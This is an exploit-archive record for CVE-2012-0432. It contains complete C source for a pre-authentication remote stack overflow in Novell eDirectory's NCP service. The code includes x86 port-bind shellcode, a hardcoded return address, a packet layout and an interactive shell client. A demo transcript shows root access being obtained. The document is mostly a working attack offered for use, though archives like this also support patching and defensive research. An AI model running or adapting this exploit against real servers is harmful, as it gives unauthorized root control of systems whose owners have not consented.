{"exploit":{"id":"EDB-24205","name":"Novell NCP - Remote Command Execution","description":"Novell NCP - Remote Command Execution","cves":["CVE-2012-0432"],"author":"Gary Nilson","published":"2013-01-18","platform":"linux","type":"remote","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/24205","path":"exploits/linux/remote/24205.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-24205.txt","vulnerabilities":[{"id":"CVE-2012-0432","state":"PUBLISHED","title":null,"titleSource":null,"description":"Stack-based buffer overflow in the Novell NCP implementation in NetIQ eDirectory 8.8.7.x before 8.8.7.2 allows remote attackers to have an unspecified impact via unknown vectors.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2012-0432","cvss":{"version":"2.0","baseScore":10,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2012-0432"},"updatedAt":"2024-09-16T19:00:30.311Z","retrievedAt":"2026-11-26T23:24:51.417Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-24205.png?v=2","url":"https://exploitbin.com/exploits/EDB-24205","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-24205/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-24205/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"In the interest of full-disclosure, here is a remote exploit for the\nvulnerability found by David Klein:\nDemonstration\nNovell NCP Pre-Auth Remote Stack Buffer Overflow\nConnecting to host [127.0.0.1]...\nConnected!\nSending message #1 (23 bytes)\n\n<-- 44 6d 64 54 00 00 00 17 00 00 00 01 00 00 00 00 11 11 00 00 00 00 00\n\nWaiting for response (16 bytes)...\nReceived 16 bytes (expecting 16)\n\n--> 74 4e 63 50 00 00 00 10 33 33 00 0a 00 00 00 00\n\nResponse #1 is valid, continue exploitation\nReceived response connection number 0a\nSending payload (190 bytes)...\n\n[...omitted...]\n\n190 bytes sent\nAttempting to connect to shell at port 5074...\nSleeping for 10 seconds...\nSuccess!\npwd\n/var/opt/novell/instance0/data/dib\nid\nuid=0(root) gid=0(root) groups=0(root)\nexit\nConnection closed\n\n\n********** BEGIN EXPLOIT **********\n\n/*\n * Novell NCP Pre-Auth Remote Root Exploit\n * Written by Gary Nilson 11-17-2013\n *\n * Overview (US-CERT/NIST CVES:CVE-2012-0432):\n *   Stack-based buffer overflow in the Novell NCP implementation in\n *   NetIQ eDirectory 8.8.7.x before 8.8.7.2 allows remote attackers to have an\n *   unspecified impact via unknown vectors.\n *\n * Fix: Issues resolved in eDirectory 8.8 SP7 Patch 2 (20703.00)\n *\n * Exploited Platform:\n *   Novell eDirectory 8.8 SP7 v20701.48\n *   Distribution: Debian GNU/Linux 6.0.6 (squeeze)\n *   Linux Kernel: 2.6.32-5-686\n *\n * Discovery: David Klein (david.r.klein at 676D61696)\n *\n */\n\n#include <stdio.h>\n#include <unistd.h>\n#include <stdlib.h>\n#include <string.h>\n#include <sys/socket.h>\n#include <netinet/in.h>\n#include <arpa/inet.h>\n#include <netdb.h>\n#include <sys/ioctl.h>\n\n/*\n * Due to address space randomization on my platform I had to rely on the\n * following in order to reliably execute the payload:\n *   - At the moment that %eip is overwritten, %esi happens to point to the payload\n *     located on the heap (horray).\n *   - Address spaced mapped from 0x08087000-0x080a6000 (Data segment) contains\n *     the handy instruction jmp *%esi (located at 0x080a4697).\n */\n#define NCP_PORT 524\n#define SHELL_BIND_PORT 5074\n#define RET_ADDRESS 0x080a4697\n#define RET_PAYLOAD_OFFSET 65\n#define PORT_PAYLOAD_OFFSET 24\n#define PAYLOAD_SIZE 190\n#define SHELL_CONNECT_DELAY 10\n\nint main(int argc, char **argv){\n\n  struct hostent *host;\n  struct sockaddr_in target_addr;\n  int sockfd;\n  fd_set rdfdset, fdsave;;\n\n  int len_in;\n  int i;\n  int payload_size;\n  int ret_address;\n  short shell_port;\n\n  int msg1_buffsize;\n  int msg2_headersize;\n  int recv_buffsize;\n  int shellcode_size;\n\n  char iochar;\n  char *msg2_buff;\n  char *recv_buff;\n\n  /* Shellcode (adapted):\n   * s0t4ipv6@Shellcode.com.ar\n   * x86 portbind a shell in port 5074\n   */\n\n  char port_bind[] = \"\\xeb\\x04\"                         /* jmp +4 bytes    */\n                     \"\\x00\\x00\\x00\\x00\"                 /* eip             */\n                     \"\\x31\\xc0\\x50\\x40\\x89\\xc3\\x50\\x40\" /* begin shellcode */\n                     \"\\x50\\x89\\xe1\\xb0\\x66\\xcd\\x80\\x31\"\n                     \"\\xd2\\x52\\x66\\x68\\x13\\xd2\\x43\\x66\"\n                     \"\\x53\\x89\\xe1\\x6a\\x10\\x51\\x50\\x89\"\n                     \"\\xe1\\xb0\\x66\\xcd\\x80\\x40\\x89\\x44\"\n                     \"\\x24\\x04\\x43\\x43\\xb0\\x66\\xcd\\x80\"\n                     \"\\x83\\xc4\\x0c\\x52\\x52\\x43\\xb0\\x66\"\n                     \"\\xcd\\x80\\x93\\x89\\xd1\\xb0\\x3f\\xcd\"\n                     \"\\x80\\x41\\x80\\xf9\\x03\\x75\\xf6\\x52\"\n                     \"\\x68\\x6e\\x2f\\x73\\x68\\x68\\x2f\\x2f\"\n                     \"\\x62\\x69\\x89\\xe3\\x52\\x53\\x89\\xe1\"\n                     \"\\xb0\\x0b\\xcd\\x80\";\n\n\n  char msg1[] = \"\\x44\\x6d\\x64\\x54\" /* NCP TCP id */\n                \"\\x00\\x00\\x00\\x17\"\n                \"\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\"\n                \"\\x11\\x11\\x00\\x00\\x00\\x00\\x00\";\n\n  char recv[] = \"\\x74\\x4e\\x63\\x50\" /* TCP RCVD id              */\n                \"\\x00\\x00\\x00\\x10\" /* length ?                 */\n                \"\\x33\\x33\"         /* service connection reply */\n                \"\\x00\"             /* sequence number          */\n                \"\\x10\"             /* connection number        */\n                \"\\x00\"             /* task number              */\n                \"\\x00\"             /* reserved                 */\n                \"\\x00\"             /* completion code          */\n                \"\\x00\";            /* ??                       */\n\n  /* special thanks to the ncpfs source */\n  char msg2_header[] = \"\\x44\\x6d\\x64\\x54\"  /* NCP TCP id                     */\n                        \"\\x00\\x00\\x01\\xa0\" /* request_size + 16 + siglen + 6 */\n                        \"\\x00\\x00\\x00\\x01\" /* version (1)                    */\n                        \"\\x00\\x00\\x00\\x05\" /* (reply buffer size)            */\n                                           /* signature would go here        */\n                        \"\\x22\\x22\"         /* cmd                            */\n                        \"\\x01\"             /* conn->sequence                 */\n                        \"\\xff\"             /* conn->i.connection ???         */\n                        \"\\x00\"             /* task (1)                       */\n                        \"\\x00\"             /* conn->i.connection >> 8        */\n                        \"\\x17\"             /* Login Object FunctionCode (23) */\n                        \"\\x00\\xa7\"         /* SubFuncStrucLen                */\n                        \"\\x18\"             /* SubFunctionCode                */\n                        \"\\x90\\x90\"         /* object type                    */\n                        \"\\x50\";            /* ClientNameLen                  */\n\n\n  if (argc != 2){\n    fprintf(stderr, \"Syntax error: usage: %s target\\n\", argv[0]);\n    exit(EXIT_FAILURE);\n  }\n\n  msg1_buffsize = sizeof(msg1)/(sizeof(msg1[0]))-1;\n  msg2_headersize = sizeof(msg2_header)/(sizeof(msg2_header[0]))-1;\n  recv_buffsize = sizeof(recv)/sizeof(recv[0])-1;\n  shellcode_size = sizeof(port_bind)/sizeof(port_bind[0])-1;\n\n  printf(\"Novell NCP Pre-Auth Remote Stack Buffer Overflow\\n\");\n\n  memset(&target_addr, 0, sizeof(target_addr));\n  target_addr.sin_family = AF_INET;\n  target_addr.sin_port = htons(NCP_PORT);\n\n  if ((host = (struct hostent *)gethostbyname(argv[1])) == NULL){\n    perror(\"Error looking up hostname\");\n    exit(EXIT_FAILURE);\n  }\n\n  memcpy(&target_addr.sin_addr, host->h_addr_list[0], host->h_length);\n\n  printf(\"Connecting to host [%s]...\\n\", argv[1]);\n\n  if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0){\n    perror(\"Error creating socket\");\n    exit(EXIT_FAILURE);\n  }\n\n  if ((connect(sockfd,\n\t       (const struct sockaddr *)&target_addr,\n\t       sizeof(target_addr))) < 0){\n    perror(\"Unable to connect to host\");\n    close(sockfd);\n    exit(EXIT_FAILURE);\n  }\n  printf(\"Connected!\\n\");\n  printf(\"Sending message #1 (%d bytes)\\n\", msg1_buffsize);\n\n  if (write(sockfd, msg1, msg1_buffsize) < 0){\n    perror(\"Error sending msg1\");\n    close(sockfd);\n    exit(EXIT_FAILURE);\n  }\n  printf(\"\\n<-- \");\n  for (i = 0; i < msg1_buffsize; i++)\n    printf(\"%.2x \", msg1[i]);\n  printf(\"\\n\\n\");\n\n  printf(\"Waiting for response...\\n\");\n\n  recv_buff = malloc(recv_buffsize);\n  len_in = read(sockfd, recv_buff, recv_buffsize);\n  printf(\"Received %d bytes (expecting %d)\\n\", len_in, recv_buffsize);\n\n  printf(\"\\n--> \");\n  for (i = 0; i < recv_buffsize; i++)\n    printf(\"%.2x \", recv_buff[i]);\n  printf(\"\\n\\n\");\n\n  if (memcmp(recv_buff, recv, 4) == 0)\n    printf(\"Response #1 is valid, continue exploitation\\n\");\n  else{\n    printf(\"Response $1 does not match, aborting!\\n\");\n    close(sockfd);\n    free(recv_buff);\n  }\n\n  printf(\"Received response connection number %.2x\\n\", (char) recv_buff[11]);\n  printf(\"Sending payload (%d bytes)...\\n\", PAYLOAD_SIZE);\n\n  msg2_buff = malloc(PAYLOAD_SIZE);\n  memset(msg2_buff, 0x90, PAYLOAD_SIZE);\n  memcpy(msg2_buff, msg2_header, msg2_headersize);\n\n  // yes, this assumes we are little endian\n  payload_size = htonl(PAYLOAD_SIZE);\n  memcpy(msg2_buff+4, &payload_size, 4);\n  memcpy(msg2_buff+msg2_headersize+RET_PAYLOAD_OFFSET-2, port_bind, shellcode_size);\n\n  ret_address = RET_ADDRESS;\n  memcpy(msg2_buff+msg2_headersize+RET_PAYLOAD_OFFSET, &ret_address, 4);\n  shell_port = htons(SHELL_BIND_PORT);\n  memcpy(msg2_buff+msg2_headersize+RET_PAYLOAD_OFFSET+PORT_PAYLOAD_OFFSET, &shell_port, 2);\n\n  msg2_buff[19] = recv_buff[11];\n  free(recv_buff);\n\n  printf(\"\\n<-- \");\n  for (i = 0; i < PAYLOAD_SIZE; i++)\n    printf(\"%.2x \", msg2_buff[i] & 0xff);\n  printf(\"\\n\\n\");\n\n  if ((i = write(sockfd, msg2_buff, PAYLOAD_SIZE)) < 0){\n    perror(\"Error sending msg2\");\n    close(sockfd);\n    free(msg2_buff);\n    exit(EXIT_FAILURE);\n  }\n  else\n    printf(\"%d bytes sent\\n\", i, PAYLOAD_SIZE);\n\n\n  printf(\"Sleeping for %d seconds...\\n\", SHELL_CONNECT_DELAY);\n  sleep(SHELL_CONNECT_DELAY);\n\n  close(sockfd);\n  free(msg2_buff);\n\n  printf(\"Attempting to connect to shell at port %d...\\n\", SHELL_BIND_PORT);\n  target_addr.sin_port = htons(SHELL_BIND_PORT);\n\n  if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0){\n    perror(\"Error creating socket\");\n    exit(EXIT_FAILURE);\n  }\n\n  if ((connect(sockfd,\n\t       (const struct sockaddr *)&target_addr,\n\t       sizeof(target_addr))) < 0){\n    perror(\"Unable to connect to host\");\n    close(sockfd);\n    exit(EXIT_FAILURE);\n  }\n  printf(\"Success!\\n\");\n\n  FD_ZERO(&rdfdset);\n  FD_SET(STDIN_FILENO, &rdfdset);\n  FD_SET(sockfd, &rdfdset);\n  len_in = 0;\n\n  fdsave = rdfdset;\n\n  while (1){\n\n    if (select(sockfd+1, &rdfdset, NULL, NULL, NULL) < 0){\n      perror(\"Select error\");\n      close(sockfd);\n      exit(EXIT_FAILURE);\n    }\n\n    for (i=STDIN_FILENO; i<=sockfd; i++){\n      if (FD_ISSET(i, &rdfdset)){\n\tioctl(i, FIONREAD, &len_in);\n\tif (len_in == 0){\n\t  printf(\"Connection closed\\n\");\n\t  exit(EXIT_SUCCESS);\n\t}\n\n\twhile (len_in--){\n\t  read(i, &iochar, 1);\n\t  write(i == sockfd ? STDOUT_FILENO : sockfd, &iochar, 1);\n\t}\n\n      }\n\n    }\n\n    rdfdset = fdsave;\n  }\n\n}","sha256":"2332a9e1641860760b4d5cfc22b0eb4f2c73bbc1846db277b17c9de84a484cd2","bytes":9806,"fetchedAt":"2026-11-27T07:07:27.153Z","encoding":"utf-8 (display only; download retains original bytes)"}